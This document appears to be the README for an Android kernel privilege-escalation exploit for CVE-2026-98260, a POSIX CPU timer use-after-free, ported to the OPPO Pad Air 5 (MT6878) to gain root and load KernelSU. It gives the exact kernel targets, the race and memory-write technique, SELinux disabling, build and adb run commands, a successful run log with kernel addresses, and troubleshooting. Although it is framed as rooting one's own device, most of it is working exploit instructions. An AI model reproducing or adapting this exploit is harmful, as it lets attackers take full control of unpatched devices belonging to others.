Android kernel LPE exploit for CVE-2026-98260 (POSIX CPU timer UAF), ported to OPPO Pad Air 5 / MT6878, gaining temporary root and loading KernelSU.
Use only on your own device. This is a kernel exploit; failure may cause a panic/reboot; do not run it on a device with unsaved data. Temporary root, disappears after a hard reboot.
The original branch of this repository, adapt-6.1.157-findx7, targets the OPPO Find X7 (6.1.157-android14-11-o-ga8ed1c96e9fd). The current working tree has been actually tested and works on OPPO Pad Air 5 / OPD2501 / MT6878 (6.1.157-android14-11-o-gd9a844c1f21f)....
This port is built on @zjns (Kofua)'s zjns/CVE-2026-98260 and the adapt-6.1.157-findx7 branch.
Also thanks to @woshigenm (woshigenm/CVE-2026-98260.
| Item | Value |
|---|---|
| Device | OPPO Pad Air 5 (OPD2501 / OP6541L1) |
| SoC | MediaTek MT6878 (Dimensity 7300 Ultra) |
| System | ColorOS 16 / Android 16 |
| Build number | 16.0.5.1200 |
| Fingerprint | OPPO/OPD2501/OP6541L1:16/BP2A.250605.015/B.25a6186-6e051-c6049:user/release-keys |
| Kernel | 6.1.157-android14-11-o-gd9a844c1f21f |
| SPL | 2026-08-01 |
| Starting identity | adb shell, uid 2000, u:r:shell:s0, with readtracefs |
| KSU manager | ReSukiSU (com.resukisu.resukisu) |
| Test binary | timer/timer (locally built, not committed) |
If even one character of the kernel string differs, do not apply it directly; first re-verify the constants and the begin_new_exec order according to the "Porting Notes".
| 能力 | 命令 | 结果 |
|---|---|---|
| 一次性 real cred root | timer | uid=0、u:r:shell:s0、ROOT_SHELL_OK |
| 交互 root shell | timer shell | uid=0 的 sh(shell 域) |
| ReSukiSU/KSU | timer fake | KSU_LOADED、su → u:r:ksu:s0、Enforcing |
| LKM | grep kernelsu /proc/modules | kernelsu … Live |
Actual successful output (excerpt):
[+] plant1 target=5398 etid=5410 zombie code=2 status=9
[+] plant1 free_seen=0 burst hit=1 after 11ms
[+] plant1 write mode=fake target=0xffffff8006b6c078
[+] fake cred A=0xffffff815a996cd8 selinux_state=0xffffffdeea27d0a8
[+] stage selinux target=0xffffffdeea27d0a1 mode=zero attempt=1
[+] cred writes landed, waking child
[ksu] ksud=.../com.resukisu.resukisu.../lib/arm64/libksud.so
version=ksud 4.2.0-rc3-34-g9dbce02e (uapi: 5)
[ksu] late-load rc=0
KSU_LOADED
[!] fake cred page held; reboot to clean -- parking without reap (zombie held)
uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0
Enforcing
kernelsu 249856 0 - Live 0x0000000000000000 (OE)
CVE-2026-98260 is a POSIX CPU timer UAF on the exec path: a non-leader thread execve() triggers de_thread(), and the timer node remains in the old task's queue; if it is SIGKILLed before a failure point in begin_new_exec() (unshare_files() / set_mm_exe_file() / exec_mmap() / exec_task_namespaces()), exit_itimers() frees the k_itimer first, and then release_task() performs rb_erase() on this already-freed node.
CLOCK_THREAD_CPUTIME_ID + execve / de_thread 竞态;父进程/helper 在 exec_mmap 窗口发 SIGKILL。rb_node。rb_erase() 往目标地址写 8 字节。uid/gid),setuid(0) + exec sh → u:r:shell:s0。task->cred 指向 reclaimed 页里的 fake cred(full caps),关 SELinux enforcing,再 ksud late-load 加载 KSU LKM → u:r:ksu:s0。In the current kernel's begin_new_exec(), the posix_cpu_timers_exit() call is located after unshare_files/set_mm_exe_file/exec_mmap (0xffffffc0082e6e40), i.e. the failure path reaches exit_itimers() first, and the vulnerable ordering exists.
wait_zombie(): 0.4s → 4sThe original branch was 2000 × 200µs = 0.4s. On MT6878, before killer_fn could wait for the exec thread TID to disappear and send SIGKILL, the parent process already judged no zombie, stopped the spray, and held the child, causing 10/10 to be no zombie.
After changing it to 20000 × 200µs = 4s, the killer hits normally:
[killer] tid=6046 tgid=6041
[killer] killing tgid=6041
[+] plant1 target=6041 etid=6046 zombie code=2 status=9
[+] plant1 free_seen=1 burst hit=1 after 12ms
status=9 means SIGKILL; free_seen/burst hit indicates the victim page was reclaimed. The two log lines in killer_fn are kept in timer.c for easier troubleshooting.
write_ksu_script() originally used me.weishu.kernelsu; this device has ReSukiSU installed, so it needs to be changed to com.resukisu.resukisu, along with the following changes:
PKG=com.resukisu.resukisufind … '*/com.resukisu.resukisu*/lib/arm64/libksud.so'--package-name com.resukisu.resukisu--kmi android14-6.1 stays unchanged. If switching back to official KernelSU, change these three places back to me.weishu.kernelsu.
NDK r28c (28.2.13676358), aarch64 / API 35, example:
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# 诊断(不触发 UAF)
adb shell /data/local/tmp/timer ids # page_alloc/page_free 事件 id
adb shell /data/local/tmp/timer leak # base/cred/task 泄漏
# 一次性 real cred root(打印 uid/context/ROOT_SHELL_OK 后退出)
adb shell /data/local/tmp/timer
# 交互 root shell(u:r:shell:s0)
adb shell /data/local/tmp/timer shell
# ReSukiSU/KSU(u:r:ksu:s0)
adb shell /data/local/tmp/timer fake
adb shell /system/bin/su -c 'id; getenforce'
adb shell 'grep "^kernelsu " /proc/modules'
Success indicators:
uid=0(root) ... context=u:r:ksu:s0
Enforcing
kernelsu … Live
parked, do a hard reboot and do not run it repeatedly within the same boot.timer parked process/held child. park_forever() deliberately ignores SIGHUP/SIGINT/SIGQUIT/SIGTERM/SIGPIPE; SIGKILL will trigger release_task to touch a stale node, which may cause a direct panic. A hard reboot is the only safe cleanup.timer fake, the fake cred page is held; a hard reboot clears it./data/local/tmp, so timer needs to be pushed again.u:r:shell:s0 is still the shell domain; for more complete root, use KSU's u:r:ksu:s0.| Symptom | Meaning | Action |
|---|---|---|
[-] plant1 no zombie; holding child | The child was not killed within the exec_mmap window | Check whether wait_zombie is 4s; check the killer log; hard reboot and try again |
[-] plant1 victim not captured (recs=0) | The trace pipe for that CPU captured no records | Confirm with timer ids; use CPU 2; hard reboot |
[!] ... parking without reap (zombie held) | The process remains resident by design | Do not kill; hard reboot |
page event ids not found | Trace buffer too small / dirty state | Hard reboot; confirm the trace buffer is ≥ 8192 KB |
KSU_MISSING / late-load failure | Package name / libksud.so / KMI mismatch | Check pm path com.resukisu.resukisu, lib/arm64/libksud.so, --kmi android14-6.1 |
| Device goes offline/reboots directly | Possible panic during the write phase | Hard reboot; next time add logging first to confirm V/A/target |
panic_on_warn is read/written in the fake chain; on this device it was measured as 0. Do not run it when there is unsaved data.